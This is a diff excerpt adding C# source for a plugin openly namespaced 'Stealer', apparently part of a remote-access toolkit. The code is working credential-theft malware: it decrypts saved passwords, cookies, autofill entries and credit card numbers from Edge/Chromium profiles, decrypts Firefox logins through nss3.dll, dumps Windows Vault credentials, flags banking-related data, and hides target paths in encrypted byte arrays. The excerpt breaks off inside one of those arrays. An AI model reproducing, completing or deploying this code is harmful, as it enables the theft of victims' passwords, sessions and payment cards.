+					autoFill.sName = Crypto.GetUTF8(sQLite.GetValue(i, 1));
+					autoFill.sValue = Crypto.GetUTF8(Crypto.EasyDecrypt(sWebData, sQLite.GetValue(i, 2)));
+					Counter.AutoFill++;
+					list.Add(autoFill);
+				}
+				return list;
+			}
+			catch
+			{
+				return new List<AutoFill>();
+			}
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Edge/Bookmarks.cs

@@ -0,0 +1,62 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+using System.Text.RegularExpressions;
+using Stealer.Chromium;
+
+namespace Stealer.Edge
+{
+	internal sealed class Bookmarks
+	{
+		public static List<Bookmark> Get(string sBookmarks)
+		{
+			try
+			{
+				List<Bookmark> list = new List<Bookmark>();
+				if (!File.Exists(sBookmarks))
+				{
+					return list;
+				}
+				string input = File.ReadAllText(sBookmarks, Encoding.UTF8);
+				input = Regex.Split(input, "      \"bookmark_bar\": {")[1];
+				input = Regex.Split(input, "      \"other\": {")[0];
+				string[] array = Regex.Split(input, "},");
+				string[] array2 = array;
+				foreach (string text in array2)
+				{
+					if (!text.Contains("\"name\": \"") || !text.Contains("\"type\": \"url\",") || !text.Contains("\"url\": \"http"))
+					{
+						continue;
+					}
+					int num = 0;
+					string[] array3 = Regex.Split(text, Parser.separator);
+					foreach (string data in array3)
+					{
+						num++;
+						Bookmark bookmark = new Bookmark
+						{
+							type = "Edge"
+						};
+						if (Parser.DetectTitle(data))
+						{
+							bookmark.sTitle = Parser.Get(text, num);
+							bookmark.sUrl = Parser.Get(text, num + 3);
+							if (!string.IsNullOrEmpty(bookmark.sTitle) && !string.IsNullOrEmpty(bookmark.sUrl) && !bookmark.sUrl.Contains("Failed to parse url"))
+							{
+								Banking.ScanData(bookmark.sTitle);
+								Counter.Bookmarks++;
+								list.Add(bookmark);
+							}
+						}
+					}
+				}
+				return list;
+			}
+			catch
+			{
+				return new List<Bookmark>();
+			}
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/Edge/CreditCards.cs

@@ -0,0 +1,47 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using Stealer.Chromium;
+
+namespace Stealer.Edge
+{
+	internal sealed class CreditCards
+	{
+		public static List<CreditCard> Get(string sWebData)
+		{
+			try
+			{
+				List<CreditCard> list = new List<CreditCard>();
+				if (!File.Exists(sWebData))
+				{
+					return list;
+				}
+				SQLite sQLite = SqlReader.ReadTable(sWebData, "credit_cards");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					CreditCard creditCard = new CreditCard
+					{
+						type = "Edge"
+					};
+					creditCard.sNumber = Crypto.GetUTF8(Crypto.EasyDecrypt(sWebData, sQLite.GetValue(i, 4)));
+					creditCard.sExpYear = Crypto.GetUTF8(Crypto.EasyDecrypt(sWebData, sQLite.GetValue(i, 3)));
+					creditCard.sExpMonth = Crypto.GetUTF8(Crypto.EasyDecrypt(sWebData, sQLite.GetValue(i, 2)));
+					creditCard.sName = Crypto.GetUTF8(Crypto.EasyDecrypt(sWebData, sQLite.GetValue(i, 1)));
+					Counter.CreditCards++;
+					list.Add(creditCard);
+				}
+				return list;
+			}
+			catch (Exception value)
+			{
+				Console.WriteLine(value);
+				return new List<CreditCard>();
+			}
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Edge/Recovery.cs

@@ -0,0 +1,40 @@
+using System;
+using System.IO;
+using Stealer.Chromium;
+
+namespace Stealer.Edge
+{
+	internal sealed class Recovery : Browser
+	{
+		public Recovery()
+		{
+			type = "Edge";
+		}
+
+		protected override void Load()
+		{
+			try
+			{
+				base.Load();
+				string path = Paths.lappdata + Paths.EdgePath;
+				string[] directories = Directory.GetDirectories(path);
+				foreach (string text in directories)
+				{
+					if (File.Exists(text + "\\Login Data"))
+					{
+						pCreditCards = Stealer.Edge.CreditCards.Get(text + "\\Web Data");
+						pAutoFill = Stealer.Edge.Autofill.Get(text + "\\Web Data");
+						pBookmarks = Stealer.Edge.Bookmarks.Get(text + "\\Bookmarks");
+						pPasswords = Passwords.Get(text + "\\Login Data");
+						pCookies = Cookies.Get(text + "\\Cookies");
+						pHistory = History.Get(text + "\\History");
+					}
+				}
+			}
+			catch
+			{
+			}
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Firefox/FFDecryptor.cs

@@ -0,0 +1,94 @@
+using System;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace Stealer.Firefox
+{
+	internal static class FFDecryptor
+	{
+		[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+		public delegate long DLLFunctionDelegate(string configdir);
+
+		[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+		public delegate int DLLFunctionDelegate4(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen);
+
+		[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+		public delegate int DLLFunctionDelegate5(ref TSECItem data, ref TSECItem result, int cx);
+
+		public struct TSECItem
+		{
+			public int SECItemType;
+
+			public IntPtr SECItemData;
+
+			public int SECItemLen;
+		}
+
+		private static IntPtr NSS3;
+
+		[DllImport("kernel32.dll")]
+		public static extern IntPtr LoadLibrary(string dllFilePath);
+
+		[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
+		public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+		public static long NSS_Init(string configdir)
+		{
+			try
+			{
+				string text = (Directory.Exists("C:\\Program Files\\Mozilla Firefox") ? "C:\\Program Files\\Mozilla Firefox\\" : ((!Directory.Exists("C:\\Program Files (x86)\\Mozilla Firefox")) ? (Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\") : "C:\\Program Files (x86)\\Mozilla Firefox\\"));
+				LoadLibrary(text + "mozglue.dll");
+				NSS3 = LoadLibrary(text + "nss3.dll");
+				return ((DLLFunctionDelegate)Marshal.GetDelegateForFunctionPointer(GetProcAddress(NSS3, "NSS_Init"), typeof(DLLFunctionDelegate)))(configdir);
+			}
+			catch (Exception)
+			{
+				return 0L;
+			}
+		}
+
+		public static string Decrypt(string cypherText)
+		{
+			IntPtr intPtr = IntPtr.Zero;
+			StringBuilder stringBuilder = new StringBuilder(cypherText);
+			try
+			{
+				byte[] array = Convert.FromBase64String(cypherText);
+				intPtr = Marshal.AllocHGlobal(array.Length);
+				Marshal.Copy(array, 0, intPtr, array.Length);
+				TSECItem result = default(TSECItem);
+				TSECItem data = default(TSECItem);
+				data.SECItemType = 0;
+				data.SECItemData = intPtr;
+				data.SECItemLen = array.Length;
+				if (PK11SDR_Decrypt(ref data, ref result, 0) == 0 && result.SECItemLen != 0)
+				{
+					byte[] array2 = new byte[result.SECItemLen];
+					Marshal.Copy(result.SECItemData, array2, 0, result.SECItemLen);
+					return Encoding.ASCII.GetString(array2);
+				}
+			}
+			catch
+			{
+				return null;
+			}
+			finally
+			{
+				if (intPtr != IntPtr.Zero)
+				{
+					Marshal.FreeHGlobal(intPtr);
+				}
+			}
+			return null;
+		}
+
+		public static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx)
+		{
+			IntPtr procAddress = GetProcAddress(NSS3, "PK11SDR_Decrypt");
+			DLLFunctionDelegate5 dLLFunctionDelegate = (DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(DLLFunctionDelegate5));
+			return dLLFunctionDelegate(ref data, ref result, cx);
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Firefox/Recovery.cs

@@ -0,0 +1,35 @@
+using System;
+using System.IO;
+
+namespace Stealer.Firefox
+{
+	internal sealed class Recovery : Browser
+	{
+		public Recovery()
+		{
+			type = "FireFox";
+		}
+
+		protected override void Load()
+		{
+			base.Load();
+			string[] sGeckoBrowserPaths = Paths.sGeckoBrowserPaths;
+			foreach (string text in sGeckoBrowserPaths)
+			{
+				try
+				{
+					if (Directory.Exists(Paths.appdata + text + "\\Profiles"))
+					{
+						pBookmarks.AddRange(cBookmarks.Get(Paths.appdata + text));
+						pCookies.AddRange(cCookies.Get(Paths.appdata + text));
+						pHistory.AddRange(cHistory.Get(Paths.appdata + text));
+						pPasswords.AddRange(cPasswords.Get(Paths.appdata + text));
+					}
+				}
+				catch (Exception)
+				{
+				}
+			}
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/Firefox/cBookmarks.cs

@@ -0,0 +1,78 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using Stealer.Chromium;
+
+namespace Stealer.Firefox
+{
+	internal class cBookmarks
+	{
+		private static string GetBookmarksDBPath(string path)
+		{
+			try
+			{
+				string path2 = path + "\\Profiles";
+				if (Directory.Exists(path2))
+				{
+					string[] directories = Directory.GetDirectories(path2);
+					foreach (string text in directories)
+					{
+						if (File.Exists(text + "\\places.sqlite"))
+						{
+							return text + "\\places.sqlite";
+						}
+					}
+				}
+			}
+			catch
+			{
+			}
+			return null;
+		}
+
+		public static List<Bookmark> Get(string path)
+		{
+			List<Bookmark> list = new List<Bookmark>();
+			try
+			{
+				string bookmarksDBPath = GetBookmarksDBPath(path);
+				if (!File.Exists(bookmarksDBPath))
+				{
+					return list;
+				}
+				string text = Path.GetTempPath() + "\\places.raw";
+				if (File.Exists(text))
+				{
+					File.Delete(text);
+				}
+				File.Copy(bookmarksDBPath, text);
+				SQLite sQLite = new SQLite(text);
+				sQLite.ReadTable("moz_bookmarks");
+				if (sQLite.GetRowCount() == 65536)
+				{
+					return new List<Bookmark>();
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					Bookmark bookmark = new Bookmark
+					{
+						type = "Firefox"
+					};
+					bookmark.sTitle = Crypto.GetUTF8(sQLite.GetValue(i, 5));
+					if (Crypto.GetUTF8(sQLite.GetValue(i, 1)).Equals("0") && bookmark.sTitle != "0")
+					{
+						Banking.ScanData(bookmark.sTitle);
+						Counter.Bookmarks++;
+						list.Add(bookmark);
+					}
+				}
+				return list;
+			}
+			catch (Exception value)
+			{
+				Console.WriteLine(value);
+			}
+			return new List<Bookmark>();
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/Firefox/cCookies.cs

@@ -0,0 +1,77 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Stealer.Firefox
+{
+	internal sealed class cCookies
+	{
+		private static string GetCookiesDBPath(string path)
+		{
+			try
+			{
+				string path2 = path + "\\Profiles";
+				if (Directory.Exists(path2))
+				{
+					string[] directories = Directory.GetDirectories(path2);
+					foreach (string text in directories)
+					{
+						if (File.Exists(text + "\\cookies.sqlite"))
+						{
+							return text + "\\cookies.sqlite";
+						}
+					}
+				}
+			}
+			catch
+			{
+			}
+			return null;
+		}
+
+		public static List<Cookie> Get(string path)
+		{
+			List<Cookie> list = new List<Cookie>();
+			try
+			{
+				string cookiesDBPath = GetCookiesDBPath(path);
+				SQLite sQLite = SqlReader.ReadTable(cookiesDBPath, "moz_cookies");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					Cookie cookie = new Cookie
+					{
+						type = "Firefox"
+					};
+					cookie.domain = sQLite.GetValue(i, 4);
+					cookie.expirationDate = Convert.ToDouble(sQLite.GetValue(i, 6));
+					cookie.httpOnly = sQLite.GetValue(i, 10) == "1";
+					cookie.name = sQLite.GetValue(i, 2);
+					cookie.path = sQLite.GetValue(i, 5);
+					try
+					{
+						int num = Convert.ToInt32(sQLite.GetValue(i, 12));
+						cookie.sameSite = Consts.SAMESITES[num];
+					}
+					catch
+					{
+					}
+					cookie.secure = sQLite.GetValue(i, 9) == "1";
+					cookie.value = sQLite.GetValue(i, 3);
+					Banking.ScanData(cookie.domain);
+					Counter.Cookies++;
+					list.Add(cookie);
+				}
+				return list;
+			}
+			catch (Exception value)
+			{
+				Console.WriteLine(value);
+			}
+			return new List<Cookie>();
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/Firefox/cHistory.cs

@@ -0,0 +1,70 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using Stealer.Chromium;
+
+namespace Stealer.Firefox
+{
+	internal class cHistory
+	{
+		private static string GetHistoryDBPath(string path)
+		{
+			try
+			{
+				string path2 = path + "\\Profiles";
+				if (Directory.Exists(path2))
+				{
+					string[] directories = Directory.GetDirectories(path2);
+					foreach (string text in directories)
+					{
+						if (File.Exists(text + "\\places.sqlite"))
+						{
+							return text + "\\places.sqlite";
+						}
+					}
+				}
+			}
+			catch
+			{
+			}
+			return null;
+		}
+
+		public static List<Site> Get(string path)
+		{
+			List<Site> list = new List<Site>();
+			try
+			{
+				string historyDBPath = GetHistoryDBPath(path);
+				SQLite sQLite = SqlReader.ReadTable(historyDBPath, "moz_places");
+				if (sQLite == null)
+				{
+					return list;
+				}
+				for (int i = 0; i < sQLite.GetRowCount(); i++)
+				{
+					Site site = new Site
+					{
+						type = "Firefox"
+					};
+					site.sTitle = Crypto.GetUTF8(sQLite.GetValue(i, 2));
+					site.sUrl = Crypto.GetUTF8(sQLite.GetValue(i, 1));
+					site.iCount = Convert.ToInt32(sQLite.GetValue(i, 4)) + 1;
+					if (site.sTitle != "0")
+					{
+						Banking.ScanData(site.sUrl);
+						Counter.History++;
+						list.Add(site);
+					}
+				}
+				return list;
+			}
+			catch (Exception value)
+			{
+				Console.WriteLine(value);
+			}
+			return new List<Site>();
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Firefox/cPasswords.cs

@@ -0,0 +1,136 @@
+using System;
+using System.Collections.Generic;
+using System.Data.SQLite;
+using System.IO;
+using Newtonsoft.Json;
+
+namespace Stealer.Firefox
+{
+	internal class cPasswords
+	{
+		private class FFLogins
+		{
+			public long nextId { get; set; }
+
+			public LoginData[] logins { get; set; }
+
+			public string[] disabledHosts { get; set; }
+
+			public int version { get; set; }
+		}
+
+		private class LoginData
+		{
+			public long id { get; set; }
+
+			public string hostname { get; set; }
+
+			public string url { get; set; }
+
+			public string httprealm { get; set; }
+
+			public string formSubmitURL { get; set; }
+
+			public string usernameField { get; set; }
+
+			public string passwordField { get; set; }
+
+			public string encryptedUsername { get; set; }
+
+			public string encryptedPassword { get; set; }
+
+			public string guid { get; set; }
+
+			public int encType { get; set; }
+
+			public long timeCreated { get; set; }
+
+			public long timeLastUsed { get; set; }
+
+			public long timePasswordChanged { get; set; }
+
+			public long timesUsed { get; set; }
+		}
+
+		public static List<Password> Get(string mozilapath)
+		{
+			string text = null;
+			string path = null;
+			bool flag = false;
+			bool flag2 = false;
+			string[] directories = Directory.GetDirectories(Path.Combine(mozilapath, "Profiles"));
+			List<Password> list = new List<Password>();
+			if (directories.Length == 0)
+			{
+				return list;
+			}
+			string[] array = directories;
+			foreach (string text2 in array)
+			{
+				string[] files = Directory.GetFiles(text2, "signons.sqlite");
+				if (files.Length != 0)
+				{
+					text = files[0];
+					flag = true;
+				}
+				files = Directory.GetFiles(text2, "logins.json");
+				if (files.Length != 0)
+				{
+					path = files[0];
+					flag2 = true;
+				}
+				if (flag2 || flag)
+				{
+					FFDecryptor.NSS_Init(text2);
+					break;
+				}
+			}
+			if (flag)
+			{
+				 SQLiteConnection sQLiteConnection = new SQLiteConnection("Data Source=" + text + ";");
+				sQLiteConnection.Open();
+				using (SQLiteCommand sQLiteCommand = sQLiteConnection.CreateCommand())
+				{
+					sQLiteCommand.CommandText = "SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins";
+					 SQLiteDataReader sQLiteDataReader = sQLiteCommand.ExecuteReader();
+					while (sQLiteDataReader.Read())
+					{
+						string sUsername = FFDecryptor.Decrypt(sQLiteDataReader.GetString(0));
+						string sPassword = FFDecryptor.Decrypt(sQLiteDataReader.GetString(1));
+						list.Add(new Password
+						{
+							sUsername = sUsername,
+							sPassword = sPassword,
+							sUrl = sQLiteDataReader.GetString(2),
+							type = "Firefox"
+						});
+					}
+				}
+				sQLiteConnection.Close();
+			}
+			if (flag2)
+			{
+				FFLogins fFLogins;
+				using (StreamReader streamReader = new StreamReader(path))
+				{
+					string value = streamReader.ReadToEnd();
+					fFLogins = JsonConvert.DeserializeObject<FFLogins>(value);
+				}
+				LoginData[] logins = fFLogins.logins;
+				foreach (LoginData loginData in logins)
+				{
+					string sUsername2 = FFDecryptor.Decrypt(loginData.encryptedUsername);
+					string sPassword2 = FFDecryptor.Decrypt(loginData.encryptedPassword);
+					list.Add(new Password
+					{
+						sUsername = sUsername2,
+						sPassword = sPassword2,
+						sUrl = loginData.hostname
+					});
+				}
+			}
+			return list;
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/InfoType.cs

@@ -0,0 +1,15 @@
+using System;
+
+namespace Stealer
+{
+	internal enum InfoType
+	{
+		PASSWORDS,
+		COOKIES,
+		HISTORYS,
+		BOOKMARKS,
+		AUTOFILLS,
+		CREDITS
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/InternetExplorer/Recovery.cs

@@ -0,0 +1,24 @@
+using System;
+
+namespace Stealer.InternetExplorer
+{
+	// Recovery, Version=1.0.7.0, Culture=neutral, PublicKeyToken=null
+	// Stealer.InternetExplorer.Recovery
+	using Stealer;
+	using Stealer.InternetExplorer;
+
+	internal sealed class Recovery : Browser
+	{
+		public Recovery()
+		{
+			type = "IE";
+		}
+
+		protected override void Load()
+		{
+			base.Load();
+			pPasswords = cPasswords.Get();
+		}
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/InternetExplorer/VaultCli.cs

@@ -0,0 +1,114 @@
+using System;
+using System.Runtime.InteropServices;
+
+namespace Stealer.InternetExplorer
+{
+	public static class VaultCli
+	{
+		public enum VAULT_ELEMENT_TYPE
+		{
+			Undefined = -1,
+			Boolean,
+			Short,
+			UnsignedShort,
+			Int,
+			UnsignedInt,
+			Double,
+			Guid,
+			String,
+			ByteArray,
+			TimeStamp,
+			ProtectedArray,
+			Attribute,
+			Sid,
+			Last
+		}
+
+		public enum VAULT_SCHEMA_ELEMENT_ID
+		{
+			Illegal = 0,
+			Resource = 1,
+			Identity = 2,
+			Authenticator = 3,
+			Tag = 4,
+			PackageSid = 5,
+			AppStart = 100,
+			AppEnd = 10000
+		}
+
+		public struct VAULT_ITEM_WIN8
+		{
+			public Guid SchemaId;
+
+			public IntPtr pszCredentialFriendlyName;
+
+			public IntPtr pResourceElement;
+
+			public IntPtr pIdentityElement;
+
+			public IntPtr pAuthenticatorElement;
+
+			public IntPtr pPackageSid;
+
+			public ulong LastModified;
+
+			public uint dwFlags;
+
+			public uint dwPropertiesCount;
+
+			public IntPtr pPropertyElements;
+		}
+
+		public struct VAULT_ITEM_WIN7
+		{
+			public Guid SchemaId;
+
+			public IntPtr pszCredentialFriendlyName;
+
+			public IntPtr pResourceElement;
+
+			public IntPtr pIdentityElement;
+
+			public IntPtr pAuthenticatorElement;
+
+			public ulong LastModified;
+
+			public uint dwFlags;
+
+			public uint dwPropertiesCount;
+
+			public IntPtr pPropertyElements;
+		}
+
+		[StructLayout(LayoutKind.Explicit)]
+		public struct VAULT_ITEM_ELEMENT
+		{
+			[FieldOffset(0)]
+			public VAULT_SCHEMA_ELEMENT_ID SchemaElementId;
+
+			[FieldOffset(8)]
+			public VAULT_ELEMENT_TYPE Type;
+		}
+
+		[DllImport("vaultcli.dll")]
+		public static extern int VaultOpenVault(ref Guid vaultGuid, uint offset, ref IntPtr vaultHandle);
+
+		[DllImport("vaultcli.dll")]
+		public static extern int VaultCloseVault(ref IntPtr vaultHandle);
+
+		[DllImport("vaultcli.dll")]
+		public static extern int VaultFree(ref IntPtr vaultHandle);
+
+		[DllImport("vaultcli.dll")]
+		public static extern int VaultEnumerateVaults(int offset, ref int vaultCount, ref IntPtr vaultGuid);
+
+		[DllImport("vaultcli.dll")]
+		public static extern int VaultEnumerateItems(IntPtr vaultHandle, int chunkSize, ref int vaultItemCount, ref IntPtr vaultItem);
+
+		[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
+		public static extern int VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, int arg6, ref IntPtr passwordVaultPtr);
+
+		[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
+		public static extern int VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, int arg5, ref IntPtr passwordVaultPtr);
+	}
+}

Plugins/Recovery/Recovery/Stealer/InternetExplorer/cPasswords.cs

@@ -0,0 +1,165 @@
+// Recovery, Version=1.0.7.0, Culture=neutral, PublicKeyToken=null
+// Stealer.InternetExplorer.cPasswords
+using System;
+using System.Collections.Generic;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Security.Principal;
+using Stealer;
+using Stealer.InternetExplorer;
+
+internal sealed class cPasswords
+{
+	public static List<Password> Get()
+	{
+		List<Password> list = new List<Password>();
+		try
+		{
+			Version version = Environment.OSVersion.Version;
+			int major = version.Major;
+			int minor = version.Minor;
+			Type type = ((major < 6 || minor < 2) ? typeof(VaultCli.VAULT_ITEM_WIN7) : typeof(VaultCli.VAULT_ITEM_WIN8));
+			int vaultCount = 0;
+			IntPtr vaultGuid = IntPtr.Zero;
+			int num = VaultCli.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuid);
+			if (num != 0)
+			{
+				throw new Exception("[ERROR] Unable to enumerate vaults. Error (0x" + num + ")");
+			}
+			IntPtr ptr = vaultGuid;
+			Dictionary<Guid, string> dictionary = new Dictionary<Guid, string>();
+			dictionary.Add(new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note");
+			dictionary.Add(new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential");
+			dictionary.Add(new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector");
+			dictionary.Add(new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials");
+			dictionary.Add(new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials");
+			dictionary.Add(new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential");
+			dictionary.Add(new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential");
+			dictionary.Add(new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential");
+			dictionary.Add(new Guid("00000000-0000-0000-0000-000000000000"), null);
+			for (int i = 0; i < vaultCount; i++)
+			{
+				object obj = Marshal.PtrToStructure(ptr, typeof(Guid));
+				Guid vaultGuid2 = new Guid(obj.ToString());
+				ptr = (IntPtr)(ptr.ToInt64() + Marshal.SizeOf(typeof(Guid)));
+				IntPtr vaultHandle = IntPtr.Zero;
+				string text = ((!dictionary.ContainsKey(vaultGuid2)) ? vaultGuid2.ToString() : dictionary[vaultGuid2]);
+				num = VaultCli.VaultOpenVault(ref vaultGuid2, 0u, ref vaultHandle);
+				if (num != 0)
+				{
+					Console.WriteLine("Unable to open the following vault: " + text + ". Error: 0x" + num);
+					continue;
+				}
+				int vaultItemCount = 0;
+				IntPtr vaultItem = IntPtr.Zero;
+				num = VaultCli.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItem);
+				if (num != 0)
+				{
+					Console.WriteLine("[ERROR] Unable to enumerate vault items from the following vault: " + text + ". Error 0x" + num);
+					continue;
+				}
+				IntPtr ptr2 = vaultItem;
+				if (vaultItemCount <= 0)
+				{
+					continue;
+				}
+				for (int j = 1; j <= vaultItemCount; j++)
+				{
+					object obj2 = Marshal.PtrToStructure(ptr2, type);
+					ptr2 = (IntPtr)(ptr2.ToInt64() + Marshal.SizeOf(type));
+					IntPtr passwordVaultPtr = IntPtr.Zero;
+					FieldInfo field = obj2.GetType().GetField("SchemaId");
+					Guid schemaId = new Guid(field.GetValue(obj2).ToString());
+					FieldInfo field2 = obj2.GetType().GetField("pResourceElement");
+					IntPtr intPtr = (IntPtr)field2.GetValue(obj2);
+					FieldInfo field3 = obj2.GetType().GetField("pIdentityElement");
+					IntPtr intPtr2 = (IntPtr)field3.GetValue(obj2);
+					IntPtr zero = IntPtr.Zero;
+					if (major >= 6 && minor >= 2)
+					{
+						FieldInfo field4 = obj2.GetType().GetField("pPackageSid");
+						zero = (IntPtr)field4.GetValue(obj2);
+						num = VaultCli.VaultGetItem_WIN8(vaultHandle, ref schemaId, intPtr, intPtr2, zero, IntPtr.Zero, 0, ref passwordVaultPtr);
+					}
+					else
+					{
+						num = VaultCli.VaultGetItem_WIN7(vaultHandle, ref schemaId, intPtr, intPtr2, IntPtr.Zero, 0, ref passwordVaultPtr);
+					}
+					if (num != 0)
+					{
+						Console.WriteLine("Error occured while retrieving vault item. Error: 0x" + num);
+						continue;
+					}
+					object obj3 = Marshal.PtrToStructure(passwordVaultPtr, type);
+					FieldInfo field5 = obj3.GetType().GetField("pAuthenticatorElement");
+					IntPtr vaultElementPtr2 = (IntPtr)field5.GetValue(obj3);
+					Password password = new Password
+					{
+						type = "IE"
+					};
+					object obj4 = GetVaultElementValue(intPtr);
+					if (obj4 != null)
+					{
+						password.sUrl = obj4.ToString();
+					}
+					object obj5 = GetVaultElementValue(intPtr2);
+					if (obj5 != null)
+					{
+						password.sUsername = obj5.ToString();
+					}
+					object obj6 = GetVaultElementValue(vaultElementPtr2);
+					if (obj6 != null)
+					{
+						password.sPassword = obj6.ToString();
+					}
+					Counter.Passwords++;
+					list.Add(password);
+				}
+			}
+		}
+		catch
+		{
+		}
+		return list;
+		object GetVaultElementValue(IntPtr vaultElementPtr)
+		{
+			object obj8 = Marshal.PtrToStructure(vaultElementPtr, typeof(VaultCli.VAULT_ITEM_ELEMENT));
+			FieldInfo field6 = obj8.GetType().GetField("Type");
+			object value = field6.GetValue(obj8);
+			IntPtr ptr3 = (IntPtr)(vaultElementPtr.ToInt64() + 16);
+			switch ((int)value)
+			{
+				case 7:
+					{
+						IntPtr ptr4 = Marshal.ReadIntPtr(ptr3);
+						return Marshal.PtrToStringUni(ptr4);
+					}
+				case 0:
+					{
+						object obj9 = Marshal.ReadByte(ptr3);
+						return (bool)obj9;
+					}
+				case 1:
+					return Marshal.ReadInt16(ptr3);
+				case 2:
+					return Marshal.ReadInt16(ptr3);
+				case 3:
+					return Marshal.ReadInt32(ptr3);
+				case 4:
+					return Marshal.ReadInt32(ptr3);
+				case 5:
+					return Marshal.PtrToStructure(ptr3, typeof(double));
+				case 6:
+					return Marshal.PtrToStructure(ptr3, typeof(Guid));
+				case 12:
+					{
+						IntPtr binaryForm = Marshal.ReadIntPtr(ptr3);
+						SecurityIdentifier securityIdentifier = new SecurityIdentifier(binaryForm);
+						return securityIdentifier.Value;
+					}
+				default:
+					return null;
+			}
+		}
+	}
+}

Plugins/Recovery/Recovery/Stealer/Item.cs

@@ -0,0 +1,10 @@
+using System;
+
+namespace Stealer
+{
+	public class Item
+	{
+		public string type { get; set; }
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Password.cs

@@ -0,0 +1,14 @@
+using System;
+
+namespace Stealer
+{
+	public class Password : Item
+	{
+		public string sUrl { get; set; }
+
+		public string sUsername { get; set; }
+
+		public string sPassword { get; set; }
+	}
+
+}

Plugins/Recovery/Recovery/Stealer/Paths.cs

@@ -0,0 +1,330 @@
+using System;
+
+namespace Stealer
+{
+	internal sealed class Paths
+	{
+		public static string[] sChromiumPswPaths = new string[35]
+		{
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			191, 144, 50, 4, 176, 103, 41, 226, 163, 145,
+			184, 198, 37, 147, 201, 246, 15, 80, 188, 217,
+			224, 55, 94, 195, 60, 36, 195, 150, 34, 219,
+			225, 21
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			66, 190, 240, 189, 196, 112, 68, 209, 120, 66,
+			32, 128, 51, 187, 11, 106, 133, 186, 29, 203,
+			189, 184, 20, 80, 22, 110, 247, 203, 200, 139,
+			145, 252
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			235, 71, 60, 105, 141, 89, 135, 64, 7, 55,
+			22, 242, 173, 137, 97, 111, 206, 79, 207, 177,
+			151, 51, 114, 222, 203, 93, 6, 206, 108, 141,
+			97, 221
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			73, 24, 163, 202, 103, 163, 250, 131, 58, 254,
+			109, 200, 0, 101, 128, 192, 177, 205, 31, 137,
+			135, 207, 160, 228, 106, 123, 85, 109, 55, 255,
+			16, 57
+		}),
+		StringsCrypt.Decrypt(new byte[48]
+		{
+			94, 125, 152, 164, 215, 224, 18, 60, 32, 98,
+			147, 169, 150, 48, 141, 211, 192, 129, 56, 148,
+			7, 104, 31, 144, 122, 249, 59, 25, 71, 162,
+			241, 69, 98, 84, 243, 115, 233, 26, 59, 183,
+			252, 7, 8, 237, 21, 222, 0, 157
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			139, 161, 110, 219, 171, 17, 246, 186, 22, 213,
+			4, 215, 141, 253, 17, 173, 215, 53, 171, 41,
+			246, 99, 184, 29, 177, 20, 156, 97, 116, 105,
+			188, 242
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			190, 77, 154, 38, 44, 145, 237, 67, 174, 9,
+			133, 3, 58, 246, 93, 41, 23, 35, 235, 203,
+			108, 171, 65, 71, 56, 233, 66, 13, 202, 51,
+			79, 41
+		}),
+		StringsCrypt.Decrypt(new byte[32]
+		{
+			62, 210, 240, 33, 118, 184, 243, 141, 77, 133,
+			0, 235, 139, 86, 39, 25, 137, 185, 88, 124,
